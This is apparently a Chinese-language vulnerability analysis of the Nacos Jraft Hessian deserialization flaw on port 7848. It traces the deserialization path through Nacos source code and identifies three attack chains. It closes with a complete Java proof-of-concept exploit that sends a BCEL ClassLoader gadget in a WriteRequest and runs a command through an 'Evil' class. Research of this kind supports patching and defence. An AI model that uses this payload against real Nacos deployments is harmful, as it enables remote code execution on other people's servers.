一、漏洞描述 Nacos 提供了一组简单易用的特性集,帮助您快速实现动态服务发现、服务配置、服务元数据及流量管理。该漏洞仅影响7848端口(默认设置下),一般使用时该端口为Nacos集群间Raft协议的通信端口,不承载客户端请求,因此老版本可以通过禁止该端口来自Nacos集群外的请求达到止血目的(如部署时已进行限制或未暴露,则风险可控)。 漏洞利用实际需要访问到相应端口,实际风险可控。
二、影响版本 1.4.0 <= Nacos < 1.4.6 2.0.0 <= Nacos < 2.2.3
三、漏洞详情 Nacos 中 Jraft 服务源码解析 当 Nacos 使用嵌入数据源 ( -DembeddedStorage=true,每个节点有一个数据源),以集群 方式启动(-Dnacos.standalone=false)时,使用raft协议,来保证数据一致性,并在1.4.1开始使用了sofa-jraft框架。 Nacos 内调用 Jraft 流程如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
ProtocolManager com.alibaba.nacos.core.distributed.ProtocolManager 构造方法如下:
1 2 3 4 5 public ProtocolManager (ServerMemberManager memberManager) { this .memberManager = memberManager; NotifyCenter.registerSubscriber(this ); }
此处 ServerMemberManager 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 public class ServerMemberManager implements ApplicationListener <WebServerInitializedEvent> { private final NacosAsyncRestTemplate asyncRestTemplate = HttpClientBeanHolder .getNacosAsyncRestTemplate(Loggers.CORE); private static final int DEFAULT_SERVER_PORT = 8848 ; private static final String SERVER_PORT_PROPERTY = "server.port" ; private static final String SPRING_MANAGEMENT_CONTEXT_NAMESPACE = "management" ; private static final String MEMBER_CHANGE_EVENT_QUEUE_SIZE_PROPERTY = "nacos.member-change-event.queue.size" ; private static final int DEFAULT_MEMBER_CHANGE_EVENT_QUEUE_SIZE = 128 ; private static boolean isUseAddressServer = false ; private static final long DEFAULT_TASK_DELAY_TIME = 5_000L ; ... public ServerMemberManager (ServletContext servletContext) throws Exception { this .serverList = new ConcurrentSkipListMap <>(); EnvUtil.setContextPath(servletContext.getContextPath()); init(); } protected void init () throws NacosException { Loggers.CORE.info("Nacos-related cluster resource initialization" ); this .port = EnvUtil.getProperty(SERVER_PORT_PROPERTY, Integer.class, DEFAULT_SERVER_PORT); this .localAddress = InetUtils.getSelfIP() + ":" + port; this .self = MemberUtil.singleParse(this .localAddress); this .self.setExtendVal(MemberMetaDataConstants.VERSION, VersionUtils.version); ... } }
MemberUtil#singleParse(this.localAddress)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 private static final int DEFAULT_RAFT_OFFSET_PORT = 1000 ;public static Member singleParse (String member) { int defaultPort = EnvUtil.getProperty(SERVER_PORT_PROPERTY, Integer.class, DEFAULT_SERVER_PORT); String address = member; int port = defaultPort; String[] info = InternetAddressUtil.splitIPPortStr(address); if (info.length > 1 ) { address = info[0 ]; port = Integer.parseInt(info[1 ]); } Member target = Member.builder().ip(address).port(port).state(NodeState.UP).build(); Map<String, Object> extendInfo = new HashMap <>(4 ); extendInfo.put(MemberMetaDataConstants.RAFT_PORT, String.valueOf(calculateRaftPort(target))); extendInfo.put(MemberMetaDataConstants.READY_TO_UPGRADE, true ); target.setExtendInfo(extendInfo); return target; }public static int calculateRaftPort (Member member) { return member.getPort() - DEFAULT_RAFT_OFFSET_PORT; }
JRaftProtocol com.alibaba.nacos.core.distributed.raft.JRaftProtocol
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 public class JRaftProtocol extends AbstractConsistencyProtocol <RaftConfig, RequestProcessor4CP> implements CPProtocol <RaftConfig, RequestProcessor4CP> { private final AtomicBoolean initialized = new AtomicBoolean (false ); private final AtomicBoolean shutdowned = new AtomicBoolean (false ); private final Serializer serializer = SerializeFactory.getDefault(); private RaftConfig raftConfig; private JRaftServer raftServer; private JRaftMaintainService jRaftMaintainService; private ServerMemberManager memberManager; public JRaftProtocol (ServerMemberManager memberManager) throws Exception { this .memberManager = memberManager; this .raftServer = new JRaftServer (); this .jRaftMaintainService = new JRaftMaintainService (raftServer); } }
com.alibaba.nacos.consistency.SerializeFactory#getDefault() 获取到HessianSerializer
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 public class SerializeFactory { public static final String HESSIAN_INDEX = "Hessian" .toLowerCase(); private static final Map<String, Serializer> SERIALIZER_MAP = new HashMap <>(4 ); public static String defaultSerializer = HESSIAN_INDEX; static { Serializer serializer = new HessianSerializer (); SERIALIZER_MAP.put(HESSIAN_INDEX, serializer); for (Serializer item : NacosServiceLoader.load(Serializer.class)) { SERIALIZER_MAP.put(item.name().toLowerCase(), item); } } public static Serializer getDefault () { return SERIALIZER_MAP.get(defaultSerializer); } public static Serializer getSerializer (String type) { return SERIALIZER_MAP.get(type.toLowerCase()); } }
com.alibaba.nacos.consistency.serialize.HessianSerializer 此处直接为 Hessian 序列化及反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 import com.alibaba.nacos.consistency.Serializer;import com.caucho.hessian.io.Hessian2Input;import com.caucho.hessian.io.Hessian2Output;import com.caucho.hessian.io.SerializerFactory;public class HessianSerializer implements Serializer { private static final String NAME = "Hessian" ; private SerializerFactory serializerFactory = new SerializerFactory (); public HessianSerializer () { } @Override public <T> T deserialize (byte [] data) { return deseiralize0(data); } @Override public <T> T deserialize (byte [] data, Class<T> cls) { return deserialize(data); } @Override public <T> T deserialize (byte [] data, Type type) { return deserialize(data); } private <T> T deseiralize0 (byte [] data) { if (ByteUtils.isEmpty(data)) { return null ; } Hessian2Input input = new Hessian2Input (new ByteArrayInputStream (data)); input.setSerializerFactory(serializerFactory); Object resultObject; try { resultObject = input.readObject(); input.close(); } catch (IOException e) { throw new RuntimeException ("IOException occurred when Hessian serializer decode!" , e); } return (T) resultObject; } @Override public <T> byte [] serialize(T obj) { ByteArrayOutputStream byteArray = new ByteArrayOutputStream (); Hessian2Output output = new Hessian2Output (byteArray); output.setSerializerFactory(serializerFactory); try { output.writeObject(obj); output.close(); } catch (IOException e) { throw new RuntimeException ("IOException occurred when Hessian serializer encode!" , e); } return byteArray.toByteArray(); } @Override public String name () { return NAME; } }
JRaftServer com.alibaba.nacos.core.distributed.raft.JRaftServer#start() 启动RaftServer
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 synchronized void start () { if (!isStarted) { Loggers.RAFT.info("========= The raft protocol is starting... =========" ); try { com.alipay.sofa.jraft.NodeManager raftNodeManager = com.alipay.sofa.jraft.NodeManager.getInstance(); for (String address : raftConfig.getMembers()) { PeerId peerId = PeerId.parsePeer(address); conf.addPeer(peerId); raftNodeManager.addAddress(peerId.getEndpoint()); } nodeOptions.setInitialConf(conf); rpcServer = JRaftUtils.initRpcServer(this , localPeerId); if (!this .rpcServer.init(null )) { Loggers.RAFT.error("Fail to init [BaseRpcServer]." ); throw new RuntimeException ("Fail to init [BaseRpcServer]." ); } isStarted = true ; createMultiRaftGroup(processors); Loggers.RAFT.info("========= The raft protocol start finished... =========" ); } catch (Exception e) { Loggers.RAFT.error("raft protocol start failure, cause: " , e); throw new JRaftException (e); } } }
JRaftUtils#initRpcServer()
1 2 3 4 5 6 7 8 9 public static RpcServer initRpcServer (JRaftServer server, PeerId peerId) { ... rpcServer.registerProcessor(new NacosWriteRequestProcessor (server, SerializeFactory.getDefault())); rpcServer.registerProcessor(new NacosReadRequestProcessor (server, SerializeFactory.getDefault())); return rpcServer; }
RpcProcessor Rpc 请求处理器,只有当业务通讯也使用sofa-jraft提供的RpcServer才需要。可以实现com.alipay.sofa.jraft.rpc.RpcProcessor接口,根据目标请求参数,处理业务请求。 可看出 Nacos 使用的 RpcProcessor 为NacosWriteRequestProcessor 和 NacosReadRequestProcessor NacosWriteRequestProcessor
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 public class NacosWriteRequestProcessor extends AbstractProcessor implements RpcProcessor <WriteRequest> { private static final String INTEREST_NAME = WriteRequest.class.getName(); private final JRaftServer server; public NacosWriteRequestProcessor (JRaftServer server, Serializer serializer) { super (serializer); this .server = server; } @Override public void handleRequest (RpcContext rpcCtx, WriteRequest request) { handleRequest(server, request.getGroup(), rpcCtx, request); } @Override public String interest () { return INTEREST_NAME; } }
NacosWriteRequestProcessor 继承 AbstractProcessor
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 public abstract class AbstractProcessor { private final Serializer serializer; public AbstractProcessor (Serializer serializer) { this .serializer = serializer; } protected void handleRequest (final JRaftServer server, final String group, final RpcContext rpcCtx, Message message) { try { final JRaftServer.RaftGroupTuple tuple = server.findTupleByGroup(group); if (Objects.isNull(tuple)) { rpcCtx.sendResponse(Response.newBuilder().setSuccess(false ) .setErrMsg("Could not find the corresponding Raft Group : " + group).build()); return ; } if (tuple.getNode().isLeader()) { execute(server, rpcCtx, message, tuple); } else { rpcCtx.sendResponse( Response.newBuilder().setSuccess(false ).setErrMsg("Could not find leader : " + group).build()); } } catch (Throwable e) { Loggers.RAFT.error("handleRequest has error : " , e); rpcCtx.sendResponse(Response.newBuilder().setSuccess(false ).setErrMsg(e.toString()).build()); } } ... }
com.alipay.sofa.jraft.core.#isLeader() 此处获取State.STATE_LEADER
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 @Override public boolean isLeader () { return isLeader(true ); }@Override public boolean isLeader (final boolean blocking) { if (!blocking) { return this .state == State.STATE_LEADER; } this .readLock.lock(); try { return this .state == State.STATE_LEADER; } finally { this .readLock.unlock(); } }
状态机 使用sofa-jraft需要实现自己的StateMachine,Nacos使用得状态机为 NacosStateMachine 最重要的方法是onApply方法。当Node提交Task,对应的log被提交到Raft集群后,当quorum节点成功commit log,触发这个方法来应用状态(当前节点存储数据)。CounterStateMachine在onApply方法中,执行原子计数器的相关功能,包括get和addAndGet。 com.alibaba.nacos.core.distributed.raft.JRaftServer#createMultiRaftGroup() 启动RaftServer
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 synchronized void createMultiRaftGroup (Collection<RequestProcessor4CP> processors) { if (!this .isStarted) { this .processors.addAll(processors); return ; } final String parentPath = Paths.get(EnvUtil.getNacosHome(), "data/protocol/raft" ).toString(); for (RequestProcessor4CP processor : processors) { final String groupName = processor.group(); if (multiRaftGroup.containsKey(groupName)) { throw new DuplicateRaftGroupException (groupName); } Configuration configuration = conf.copy(); NodeOptions copy = nodeOptions.copy(); JRaftUtils.initDirectory(parentPath, groupName, copy); NacosStateMachine machine = new NacosStateMachine (this , processor); copy.setFsm(machine); copy.setInitialConf(configuration); int doSnapshotInterval = ConvertUtils.toInt(raftConfig.getVal(RaftSysConstants.RAFT_SNAPSHOT_INTERVAL_SECS), RaftSysConstants.DEFAULT_RAFT_SNAPSHOT_INTERVAL_SECS); doSnapshotInterval = CollectionUtils.isEmpty(processor.loadSnapshotOperate()) ? 0 : doSnapshotInterval; copy.setSnapshotIntervalSecs(doSnapshotInterval); Loggers.RAFT.info("create raft group : {}" , groupName); RaftGroupService raftGroupService = new RaftGroupService (groupName, localPeerId, copy, rpcServer, true ); Node node = raftGroupService.start(false ); machine.setNode(node); RouteTable.getInstance().updateConfiguration(groupName, configuration); RaftExecutor.executeByCommon(() -> registerSelfToCluster(groupName, localPeerId, configuration)); Random random = new Random (); long period = nodeOptions.getElectionTimeoutMs() + random.nextInt(5 * 1000 ); RaftExecutor.scheduleRaftMemberRefreshJob(() -> refreshRouteTable(groupName), nodeOptions.getElectionTimeoutMs(), period, TimeUnit.MILLISECONDS); multiRaftGroup.put(groupName, new RaftGroupTuple (node, processor, raftGroupService, machine)); } }
JRaftServer#createMultiRaftGroup() 传入参数类为 RequestProcessor4CP,此类存在5个实现类,其中以下三个为@Component
为注解注释类
com.alibaba.nacos.naming.core.v2.service.impl.PersistentClientOperationServiceImpl
com.alibaba.nacos.naming.core.v2.metadata.InstanceMetadataProcessor
com.alibaba.nacos.naming.core.v2.metadata.ServiceMetadataProcessor
以上三个类构造方法中均调用 JRaftProtocol#addRequestProcessors() 方法,最终调用至JRaftServer#createMultiRaftGroup(),故调用顺序为 NacosStateMachine#onApply() 后调用至以上三个类的 onApply() 方法。 NacosStateMachine#onApply()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 public void onApply (Iterator iter) { int index = 0 ; int applied = 0 ; Message message; NacosClosure closure = null ; try { while (iter.hasNext()) { Status status = Status.OK(); try { if (iter.done() != null ) { closure = (NacosClosure) iter.done(); message = closure.getMessage(); } else { final ByteBuffer data = iter.getData(); message = ProtoMessageUtil.parse(data.array()); if (message instanceof ReadRequest) { applied++; index++; iter.next(); continue ; } } LoggerUtils.printIfDebugEnabled(Loggers.RAFT, "receive log : {}" , message); if (message instanceof WriteRequest) { Response response = processor.onApply((WriteRequest) message); postProcessor(response, closure); } if (message instanceof ReadRequest) { Response response = processor.onRequest((ReadRequest) message); postProcessor(response, closure); } } catch (Throwable e) { index++; status.setError(RaftError.UNKNOWN, e.toString()); Optional.ofNullable(closure).ifPresent(closure1 -> closure1.setThrowable(e)); throw e; } finally { Optional.ofNullable(closure).ifPresent(closure1 -> closure1.run(status)); } applied++; index++; iter.next(); } } catch (Throwable t) { Loggers.RAFT.error("processor : {}, stateMachine meet critical error: {}." , processor, t); iter.setErrorAndRollback(index - applied, new Status (RaftError.ESTATEMACHINE, "StateMachine meet critical error: %s." , ExceptionUtil.getStackTrace(t))); } }
com.alibaba.nacos.naming.core.v2.service.impl.PersistentClientOperationServiceImpl#onApply()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 public Response onApply (WriteRequest request) { final InstanceStoreRequest instanceRequest = serializer.deserialize(request.getData().toByteArray()); final DataOperation operation = DataOperation.valueOf(request.getOperation()); final Lock lock = readLock; lock.lock(); try { switch (operation) { case ADD: onInstanceRegister(instanceRequest.service, instanceRequest.instance, instanceRequest.getClientId()); break ; case DELETE: onInstanceDeregister(instanceRequest.service, instanceRequest.getClientId()); break ; case CHANGE: if (instanceAndServiceExist(instanceRequest)) { onInstanceRegister(instanceRequest.service, instanceRequest.instance, instanceRequest.getClientId()); } break ; default : return Response.newBuilder().setSuccess(false ).setErrMsg("unsupport operation : " + operation) .build(); } } return Response.newBuilder().setSuccess(true ).build(); } finally { lock.unlock(); } }public String group () { return Constants.NAMING_PERSISTENT_SERVICE_GROUP_V2; }
com.alibaba.nacos.naming.core.v2.metadata.InstanceMetadataProcessor#onApply()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 public Response onApply (WriteRequest request) { MetadataOperation<InstanceMetadata> op = serializer.deserialize(request.getData().toByteArray(), processType); readLock.lock(); try { .... } return Response.newBuilder().setSuccess(true ).build(); } catch (Exception e) { Loggers.RAFT.error("onApply {} instance metadata operation failed. " , request.getOperation(), e); String errorMessage = null == e.getMessage() ? e.getClass().getName() : e.getMessage(); return Response.newBuilder().setSuccess(false ).setErrMsg(errorMessage).build(); } finally { readLock.unlock(); } } public String group () { return Constants.SERVICE_METADATA; }
com.alibaba.nacos.naming.core.v2.metadata.ServiceMetadataProcessor#onApply()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 public Response onApply (WriteRequest request) { MetadataOperation<ServiceMetadata> op = serializer.deserialize(request.getData().toByteArray(), processType); readLock.lock(); try { ... } return Response.newBuilder().setSuccess(true ).build(); } catch (Exception e) { Loggers.RAFT.error("onApply {} service metadata operation failed. " , request.getOperation(), e); String errorMessage = null == e.getMessage() ? e.getClass().getName() : e.getMessage(); return Response.newBuilder().setSuccess(false ).setErrMsg(errorMessage).build(); } finally { readLock.unlock(); } }public String group () { return Constants.INSTANCE_METADATA; }
MetadataOperation 存在属性 metadata 为泛型,可以构造一个 MetadataOperation 对象,并在其 metadata 属性设置恶意对象,此时反序列化后的对象符合预期,不会报错,服务继续运行,可多次攻击。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public class MetadataOperation <T> implements Serializable { private static final long serialVersionUID = -111405695252896706L ; private String namespace; private String group; private String serviceName; private String tag; private T metadata; ... }
利用总结
攻击端口默认为7848
为Hessian 反序列化链攻击
存在三个攻击链
1 2 3 naming_persistent_service_v2 ---- PersistentClientOperationServiceImpl naming_instance_metadata ---- InstanceMetadataProcessor naming_service_metadata ---- ServiceMetadataProcessor
PersistentClientOperationServiceImpl 要求反序列化类为 InstanceStoreRequest
InstanceMetadataProcessor 要求反序列化类为 MetadataOperation
ServiceMetadataProcessor 要求反序列化类为 MetadataOperation
MetadataOperation 存在泛型属性 metadata,可设置其为恶意对象进行攻击,不影响服务运行,可多次攻击
payload 此漏洞利用为Hessian 反序列化,可使用多个Hessian 反序列化 Gadget ,以下payload使用 BCEL ClassLoader Gadget。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 import com.alibaba.nacos.consistency.entity.WriteRequest;import com.alibaba.nacos.naming.core.v2.metadata.InstanceMetadata;import com.alibaba.nacos.naming.core.v2.metadata.MetadataOperation;import com.alibaba.nacos.naming.core.v2.metadata.ServiceMetadata;import com.alipay.sofa.jraft.option.CliOptions;import com.alipay.sofa.jraft.rpc.RpcClient;import com.alipay.sofa.jraft.rpc.impl.MarshallerHelper;import com.alipay.sofa.jraft.rpc.impl.cli.CliClientServiceImpl;import com.alipay.sofa.jraft.util.Endpoint;import com.caucho.hessian.io.Hessian2Output;import com.google.protobuf.ByteString;import com.google.protobuf.Message;import com.sun.org.apache.bcel.internal.Repository;import com.sun.org.apache.bcel.internal.classfile.JavaClass;import com.sun.org.apache.bcel.internal.classfile.Utility;import sun.swing.SwingLazyValue;import javax.swing.*;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class NacosExplit { public static void main (String[] args) throws Exception { final CliClientServiceImpl cliClientService = new CliClientServiceImpl (); cliClientService.init(new CliOptions ()); setProperties(cliClientService.getRpcClient()); MetadataOperation<ServiceMetadata> metadataOperation = new MetadataOperation <ServiceMetadata>(); Field metadataField = metadataOperation.getClass().getDeclaredField("metadata" ); metadataField.setAccessible(true ); metadataField.set(metadataOperation,BCEL_ClassLoader()); WriteRequest.Builder writeRequestBuilder = WriteRequest.newBuilder().setGroup("naming_service_metadata" ).setData(serialize(metadataOperation)); Object o = cliClientService.getRpcClient().invokeSync(new Endpoint ("127.0.0.1" , 7848 ), writeRequestBuilder.build(), 10000 ); System.out.println(o); } @SuppressWarnings("unchecked") public static void setProperties (RpcClient rpcClient) throws Exception { Field parserClasses = rpcClient.getClass().getDeclaredField("parserClasses" ); parserClasses.setAccessible(true ); Map<String, Message> map = (Map<String, Message>) parserClasses.get(rpcClient); map.put("com.alibaba.nacos.consistency.entity.WriteRequest" , WriteRequest.getDefaultInstance()); Field messages = MarshallerHelper.class.getDeclaredField("messages" ); messages.setAccessible(true ); Map<String, Message> messageMap = (Map<String, Message>) messages.get(MarshallerHelper.class); messageMap.put("com.alibaba.nacos.consistency.entity.WriteRequest" , WriteRequest.getDefaultInstance()); } public static ByteString serialize (Object o) throws Exception { ByteArrayOutputStream bos = new ByteArrayOutputStream (); Hessian2Output out = new Hessian2Output (bos); out.getSerializerFactory().setAllowNonSerializable(true ); out.writeObject(o); out.close(); return ByteString.copyFrom(bos.toByteArray()); } public static Object BCEL_ClassLoader () throws IOException { JavaClass clazz = Repository.lookupClass(Evil.class); String payload = "$$BCEL$$" + Utility.encode(clazz.getBytes(), true ); SwingLazyValue swingLazyValue = new SwingLazyValue ("com.sun.org.apache.bcel.internal.util.JavaWrapper" ,"_main" ,new Object [] {new String []{payload}}); UIDefaults u1 = new UIDefaults (); UIDefaults u2 = new UIDefaults (); u1.put("aaa" , swingLazyValue); u2.put("aaa" , swingLazyValue); HashMap map = new HashMap (); map.put(u1,u1); map.put(u2,u2); return map; } }
Evil
1 2 3 4 5 6 7 8 public class Evil { public static void _main (String[] args) { try { Runtime.getRuntime().exec("calc" ); } catch (Exception e) { } } }